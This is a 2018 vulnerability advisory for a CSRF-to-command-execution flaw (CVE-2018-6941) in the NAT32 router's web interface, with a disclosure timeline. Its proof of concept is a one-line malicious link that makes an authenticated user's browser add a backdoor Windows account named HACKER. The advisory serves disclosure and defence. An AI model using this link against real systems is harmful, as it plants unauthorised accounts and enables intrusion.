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NAT32 Build 22284 Remote Command Execution / CSRF

NAT32 Build 22284 Remote Command Execution / CSRF
Posted Feb 14, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

NAT32 build 22284 suffers from code execution and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, code execution, csrf
advisories | CVE-2018-6941
MD5 | 49c0a8a084c7998bc4e286750e176f76

NAT32 Build 22284 Remote Command Execution / CSRF

Change Mirror Download
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt
[+] ISR: Apparition Security

[-_-] D1rty0tis


Vendor:
=============
www.nat32.com


Product:
===========
NAT32 Build (22284)

NAT32(r) is a versatile IP Router implemented as a WIN32 application.


Vulnerability Type:
===================
Remote Command Execution (CSRF)


CVE Reference:
==============
CVE-2018-6941


Security Issue:
================
CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution.

Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link
or visits an attacker controlled webpage as NAT32 performs no check for blind requests.

Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network.


Exploit/POC:
=============
<a href="http://VICTIM-IP:8080/shell?cmd=exec+net%20user%20HACKER%20abc123%20/add">Backdoor clicker</a>



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: February 9, 2018
Vendor acknowledgement: February 9, 2018
Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018
www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018
February 14, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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